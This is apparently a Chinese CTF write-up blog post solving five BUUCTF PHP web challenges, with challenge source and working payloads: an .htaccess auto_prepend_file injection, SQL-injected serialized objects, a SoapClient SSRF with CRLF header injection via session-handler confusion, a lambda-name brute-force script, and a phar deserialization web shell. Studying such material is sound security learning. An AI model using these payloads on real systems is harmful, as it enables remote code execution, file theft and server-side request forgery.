文章目录
- [羊城杯2020]easyphp
- [安洵杯 2019]不是文件上传
- bestphp's revenge
- [SUCTF 2018]annonymous
- [GXYCTF2019]BabysqliV3.0
打开BUU排行榜仰望各位大佬,想来我所谓的努力还是微不足道
[羊城杯2020]easyphp
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {//检测如果不是index.php就删掉
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {//检测是否设置了content和filename
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {//检测上传的文件是不是以字母加点开头的
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {//再次检测当前文件夹,删除非index.php的文件
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");//在写入内容最后加上\nHello World
?>
上传.htaccess文件,设置auto_prepend_file包含.htaccess文件进行代码执行
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fl??');?>\
测试发现使用append_file没有效果
file用反斜杠进行换行分割,看别人的博客发现应该是.htaccess文件的特性
井号在.htaccess文件中是注释符的意思,当.htaccess文件被自动包含到index.php时,是以文本形式进行包含的,所以井号没有起到注释符的意思,直到匹配到<?php
时才认为是代码开始
# 1.php
<?php
include("1.txt")
?>
1.txt
#<?php phpinfo?>
而最终的转义符,是要将\n
的转义符进行转义,使得换行符失效,否则.htaccess文件会变成
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fl??');?>
Hello World
不符合其语法
payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fl??')%3B%3F%3E%5C
[安洵杯 2019]不是文件上传
[安洵杯 2019]不是文件上传
<?php
class helper {
protected $folder = "pic/"; //图片文件夹
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input); //获取上传文件
$array = array();
$array["title"] = $fileinfo['title']; //title
$array["filename"] = $fileinfo['filename']; //filename
$array["ext"] = $fileinfo['ext']; //后缀
$array["path"] = $fileinfo['path']; //路径
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]); //过滤
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16); //随机名
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}//检测文件后缀类型并赋予随机名
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){//ifview要为true
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path); //获取指定$path文件内容进行输出
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config); //对象调用结束会调用view_file获取config文件内容
}
}
?>
show.php关键代码
<?php
class show{
public $con;
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);//最终会对$attr进行反序列化
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
?>
最终payload
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
经过check处理后,protected属性成员不可见字符会替换为\0
,所以我们也进行相应替换
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
sql语句上传内容为
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('value','value.jpg','jpg','pic/value.jpg','序列化')
payload触发顺序就是
- 通过show.php,获取images表中的所有数据条目
- 然后对每个条目中的
attr
进行反序列化处理, - 如果
attr
是一个helper
类,进行反序列化对象销毁的时候就会调用view_file()
将config文件内容进行输出
所以我们上传文件的时候随意将前面这几个字段进行闭合拼接构造,上传文件名中不能有双引号,所以进行16进制编码
filename="1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg"
访问show.php
bestphp’s revenge
看大佬写的博客
PHP 原生类的利用小结
bestphp‘s revenge/ 安洵杯Babyphp(phpsession题目)
- CRLF注入
当请求报文中有请求字段用户可控时,可以注入\r\n
回车换行,服务器解析请求时匹配到回车换行就将剩余内容当作请求体进行处理
- 利用Soap类进行SSRF
<?php
$target = "http://127.0.0.1/flag.php";
$options=array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123");
$attack = new SoapClient(null,$options);
$payload = urlencode(serialize($attack));
echo $payload;
Soap中有__call()
魔术方法,调用其中不存在的函数,会自动向$options
指定的URL发起http请求
- php session 反序列化
存储session内容的时候PHP有三个处理器
- php处理器
- php_serialize处理器
- php_binary处理器
经处理后的session文件存储内容分别如下
当 session.serialize_handler=php 时,session文件内容为: session|s:9:"haoxiaozi";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:7:"session";s:9:"haoxiaozi";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符sessions:9:"haoxiaozi";
当存储session的脚本和获取session脚本使用处理器不相同时就可能导致反序列化漏洞的产生
如果使用php_serialize处理器进行存储|a:1:{s:7:"session";s:9:"haoxiaozi";}
,到session文件中内容为
a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}
那么用php
处理器进行处理时,|
会被当做分隔符,前面的内容为键值,后面的内容为
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
implode,将一个一维数组转换为字符串
reset,指针重新指向数组开头
目录扫描到flag.php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!
要求127.0.0.1的请求才能获取flag,利用SSRF进行获取
- 先构造soap请求本地flag文件的session序列化内容,序列化处理器改成
php_serialize
$target = 'http://127.0.0.1/flag.php'; $b = new SoapClient(null, array('location' => $target, 'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车 'uri' => "http://127.0.0.1/")); $se = serialize($b); echo "|" . urlencode($se); // 原文链接:https://blog.csdn.net/qq_62046696/article/details/128110981
GET:f=session_start
POST:serialize_handler=php_serialize
name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
可以看到session正常的以serialize的形式存入
- 将解析处理器换为
php
,也就是默认处理器,利用call_user_func
,传入extract
进行变量覆盖,将b
替换为call_user_func
- 传入
name=SoapClient
,后面调用的就是call_user_func('call_user_func','array('SoapClient', 'welcome_to_the_lctf2018')')
- 也就是调用
SoapClient
类不存在的welcome_to_the_lctf2018
方法
可以看到session数据第一个已经变为我们想要的SoapClient请求数据
改Cookie中PHPSESSID为123456,再次请求
【为什么需要sessid设置为payload中的才能获取flag内容】
[SUCTF 2018]annonymous
BUUCTF:[SUCTF 2018]annonymous
creat_function(string $args,string $code)
,创建一个匿名函数,每次创建都会生成%00lambda_%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
import requests
while True:
r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')
BUU对爆破线程有要求,直接重启一个题目环境,进题目环境的时候就直接带上?func_name=%00lambda_1
因为程序执行的时候匿名函数计数都是从%00lambda_1
开始的
查看源码
或者访问%00lambda_10
,效果相同
[GXYCTF2019]BabysqliV3.0
弱口令admin/password
进行登录
注意到url栏有文件包含,尝试访问其他页面发现有关键词过滤
用伪协议读取upoload.php
源码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){//检测name参数
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;//新建随机文件名+.txt后缀
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
phar反序列化,上传包含1.php的1.zip文件,传入name参数进行文件包含
<?php
class Uploader{
public $Filename = 'aaa';
//public $cmd ='echo phpinfo();';//可先用此测试
public $cmd ='echo system($_GET["hack"]);';//传递一个可控hack参数
public $token ='GXY4de07d94caf018e1453439fff2b2375b';//先上串一个合法文件得到session['user']
}
@unlink("demo.phar");
$phar = new Phar("demo.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF8a<?php __HALT_COMPILER();?>");
$o = new Uploader();
$phar -> setMetadata($o);//将自定义的meta-data存入manifest
$phar -> addFromString("text.txt","test");//添加要压缩的文件
//签名自动计算
$phar -> stopBuffering();
?>